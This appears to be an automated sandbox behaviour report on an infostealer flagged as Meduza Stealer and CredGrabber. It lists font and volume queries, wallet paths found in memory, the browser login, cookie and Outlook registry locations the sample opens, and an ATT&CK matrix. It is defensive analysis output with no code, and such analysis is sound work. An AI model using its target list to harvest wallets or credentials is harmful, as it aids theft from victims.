Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe

Key value queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\TimeZoneInformation TimeZoneKeyName

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe

Code function: 8_2_00000218BFBFDC18 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

8_2_00000218BFBFDC18

Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe

Code function: 8_2_00000218BFBD0110 GetUserNameW,

8_2_00000218BFBD0110

Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe

Code function: 8_2_00000218BFBD1660 GetTimeZoneInformation,GlobalMemoryStatusEx,wcsftime,GetModuleFileNameA,

8_2_00000218BFBD1660

Source: C:\Users\user\Desktop\9RM52QaURq.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected CredGrabber

Source: Yara match

File source: Process Memory Space: 3UuxTH6FMX.exe PID: 3760, type: MEMORYSTR

Yara detected Meduza Stealer

Source: Yara match	File source: 8.2.3UuxTH6FMX.exe.218bfb50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.3UuxTH6FMX.exe.218bfb50000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.2193147052.00000218BFD60000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 3UuxTH6FMX.exe PID: 3760, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 3UuxTH6FMX.exe, 00000008.00000003.2121125510.00000218BE24A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: 3UuxTH6FMX.exe, 00000008.00000003.2121125510.00000218BE24A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\ElectronCash\wallets`
Source: 3UuxTH6FMX.exe, 00000008.00000002.2193147052.00000218BFD60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb
Source: 3UuxTH6FMX.exe, 00000008.00000003.2121125510.00000218BE24A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Exodus\exodus.walletletses
Source: 3UuxTH6FMX.exe, 00000008.00000003.2121125510.00000218BE24A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Ethereum\keystoremlser
Source: 3UuxTH6FMX.exe, 00000008.00000003.2121125510.00000218BE24A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Exodus\exodus.walletletses
Source: 3UuxTH6FMX.exe, 00000008.00000003.2121125510.00000218BE24A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\wallets
Source: 3UuxTH6FMX.exe, 00000008.00000003.2121125510.00000218BE24A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Ethereum\keystoremlser
Source: 3UuxTH6FMX.exe, 00000008.00000003.2121125510.00000218BE24A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets"
Source: powershell.exe, 00000005.00000002.1981163512.0000000006154000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: # AutoUnlockKeyStored. Win32_EncryptableVolume::IsAutoUnlockKeyStored

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\LOG.old	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\LOCK	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\CURRENT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\LOG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\MANIFEST-000001	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: Yara match

File source: Process Memory Space: 3UuxTH6FMX.exe PID: 3760, type: MEMORYSTR

Remote Access Functionality

Yara detected CredGrabber

Source: Yara match

File source: Process Memory Space: 3UuxTH6FMX.exe PID: 3760, type: MEMORYSTR

Yara detected Meduza Stealer

Source: Yara match	File source: 8.2.3UuxTH6FMX.exe.218bfb50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.3UuxTH6FMX.exe.218bfb50000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.2193147052.00000218BFD60000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 3UuxTH6FMX.exe PID: 3760, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	1 OS Credential Dumping	12 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	2 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	1 Access Token Manipulation	3 Obfuscated Files or Information	Security Account Manager	4 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	11 Process Injection	1 Timestomp	NTDS	25 System Information Discovery	Distributed Component Object Model	1 Email Collection	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	131 Security Software Discovery	SSH	Keylogging	13 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
